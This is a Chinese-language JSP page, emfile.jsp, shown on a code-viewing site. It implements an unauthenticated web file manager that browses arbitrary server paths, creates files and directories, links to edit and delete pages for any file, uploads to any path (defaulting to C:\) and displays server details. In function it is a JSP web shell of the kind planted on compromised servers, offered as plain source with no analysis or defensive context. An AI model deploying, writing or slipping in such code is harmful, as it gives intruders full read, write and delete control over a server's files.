📄 emfile.jsp
字号:
<%@ page contentType="text/html;charset=gb2312" import="java.io.*,java.net.*" %>
<%
String path=request.getRealPath("/");
String see=request.getParameter("see");
if(see!=null && see.equals("true"))
{
String dirpath=request.getParameter("dirpath");
dirpath=new String(dirpath.getBytes("ISO8859_1"),"GBK");
path=dirpath;
}%>
<%String getdir=request.getParameter("setdir");
if(getdir!=null && getdir!="")
{
getdir=new String(getdir.getBytes("ISO8859_1"),"GBK");
String dpath=request.getParameter("dpath");
dpath=new String(dpath.getBytes("ISO8859_1"),"GBK");
path=dpath+getdir;
}
%>
<style type="text/css">
<!-- @import url(../images/css.css); -->
</style>
<form action="" method="post">
<input type="hidden" name="see" value="">
<table width="600" border="0" cellspacing="1" cellpadding="0" align="center" bgcolor="#CCCCCC">
<tr>
<td>
<table width="600" border="0" align="center" cellspacing="0" cellpadding="0">
<tr>
<td height="30" bgcolor="#FFFFFF">
<div align="center">浏览目录:
<input type="text" name="dirpath" size="40" value="<%=path%>">
<input type="submit" value="确定" onClick="document.all.see.value='true';">
<a href="emfile.jsp?back=<%=request.getRealPath("/")%>">返回默认路径</a></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<form action="" method="post">
<input type="hidden" name="addthis" value="">
<input type="hidden" name="dirname" value=<%=path%>>
<table width="600" border="0" cellspacing="1" cellpadding="0" align="center" bgcolor="#CCCCCC">
<tr>
<td>
<table width="600" border="0" cellpadding="0" cellspacing="0" align="center" bgcolor="#FFFFFF">
<tr>
<td height="30"><div align="center">建立新文件或目录: <select name="addfile">
<option value='adddir' selected>新建目录</option>
<option value='addtext'>新建文件</option></select>
<input type="text" name="filename" size="20">
<input type="submit" name="add" value="确定" onClick="document.all.addthis.value='true';"></div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<table width="600" border="0" cellspacing="0" cellpadding="0" align="center" bgcolor="#CCCCCC">
<tr>
<td width="100%">
<table width="100%" border="0" cellspacing="1" cellpadding="0">
<tr>
<td width="280" height=''20" bgcolor="#FFFFFF""><font color="0000FF"> 文件名</font></td>
<td width="150" height="30" bgcolor="#FFFFFF"><div align="center"><font color="0000FF">文件大小(字节)</font></div></td>
<td width="30" bgcolor="#FFFFFF"><div align="center"><font color="0000FF">编辑</font></div></td>
<td width="30" bgcolor="#FFFFFF"><div align="center"><font color="0000FF">删除</font></div></td>
</tr>
<%
File dir=new File(path);
File list[]=dir.listFiles();
for(int i=0;i<list.length;i++){%>
<tr>
<% File isdir=new File(path,list[i].getName());%>
<%if(isdir.isDirectory()){%>
<td width="330" height="20" bgcolor="#FFFFFF"> <a talget="_blank" href="emfile.jsp?dpath=<%=path%>&setdir=<%=list[i].getName()%>\"><font color="#FF0000"><%=list[i].getName()%></font></a></td>
<%}%>
<% if(!isdir.isDirectory()){
String namefile=list[i].getName();
%>
<td width="280" height="20" bgcolor="#FFFFFF"> <%=namefile%></td>
<%}%>
<td width="150" bgcolor="#FFFFFF"><div align="center"><font color="#000000"><%=list[i].length()%></font></div></td>
<td width="30" bgcolor="#FFFFFF"><div align="center"><font color="#000000"><a target="_blank" href="edit.jsp?edit=<%=path+list[i].getName()%>">编辑</a></font></div></td>
<td width="30" bgcolor="#FFFFFF"><div align="center"><font color="#000000"><a href="delete.jsp?delete=<%=path+list[i].getName()%>">删除</a></font></div></td>
</tr>
<%}%>
</table>
</td>
</tr>
</table>
<%
String addthis=request.getParameter("addthis");
if(addthis!=null && addthis.equals("true"))
{
String addfile=request.getParameter("addfile");
String filename=request.getParameter("filename");
String getpath=request.getParameter("dirname");
getpath=new String(getpath.getBytes("ISO8859_1"),"GBK");
if(addfile.equals("adddir"))
{
File dirname=new File(getpath,filename);
if(dirname.exists())
{%>
<script language="javascript">
alert("该目录已经存在,请删除后再建立");
</script>
<%}
else{
dirname.mkdir();
}}
if(addfile.equals("addtext")){
File fileid=new File(getpath,filename);
if(fileid.exists()){%>
<script language="javascript">
alert("该文件已经存在,请删除后再建立");
</script>
<%}else{
fileid.createNewFile();%>
<%}
}
}
%><br>
<form action="emupload.jsp" method="post" ENCTYPE="multipart/form-data">
<table width="600" border="0" cellspacing="1" cellpadding="0" align="center" bgcolor="#CCCCCC">
<tr>
<td> <table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="30" bgcolor="#FFFFFF"><div align="center">目标路径:
<input type="text" name="uppath" size="30" value="C:\\">
<font color="#FF0000"><b>\</b></font>
<input type="file" name="file" size="18">
<input type="submit" name="upload" value="上传">
</div></td>
</tr>
</table></td>
</tr>
<tr>
<td height="10" bgcolor="#FFFFFF"></td>
</tr>
<tr>
<td height="20" bgcolor="#FFFFFF">使用帮助:目标路径请用"\\"表示,例:目录C:\\winnt\\表示C盘下winnt目录</td>
</tr>
</table>
</form>
<table width="600" border="0" cellspacing="1" cellpadding="0" align="center" bgcolor="#CCCCCC">
<tr>
<td>
<table width="100%" border="0" cellspacing="1" cellpadding="0">
<tr>
<td height="20" width="120" bgcolor="#FFFFFF"><div align="right">服务器名:</div></td>
<td height="20" bgcolor="#FFFFFF"> <%=request.getServerName()%></td>
</tr>
<tr>
<td height="20" bgcolor="#FFFFFF"><div align="right">服务器IP:</div></td>
<td height="20" bgcolor="#FFFFFF"> <%=request.getRemoteAddr()%></td>
</tr>
<%
java.util.Date today=new java.util.Date();
String servertime=today.toLocaleString();
%>
<tr>
<td height="20" bgcolor="#FFFFFF"><div align="right">服务器端口:</div></td>
<td height="20" bgcolor="#FFFFFF"> <%=request.getServerPort()%></td>
</tr>
<tr>
<td height="20" bgcolor="#FFFFFF"><div align="right">服务器时间:</div></td>
<td height="20" bgcolor="#FFFFFF"> <%=servertime%></td>
</tr>
<tr>
<td height="20" bgcolor="#FFFFFF"><div align="right">服务器信息:</div></td>
<td height="20" bgcolor="#FFFFFF"> <%=request.getHeader("User-Agent")%></td>
</tr>
</table>
</td>
</tr>
</table>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -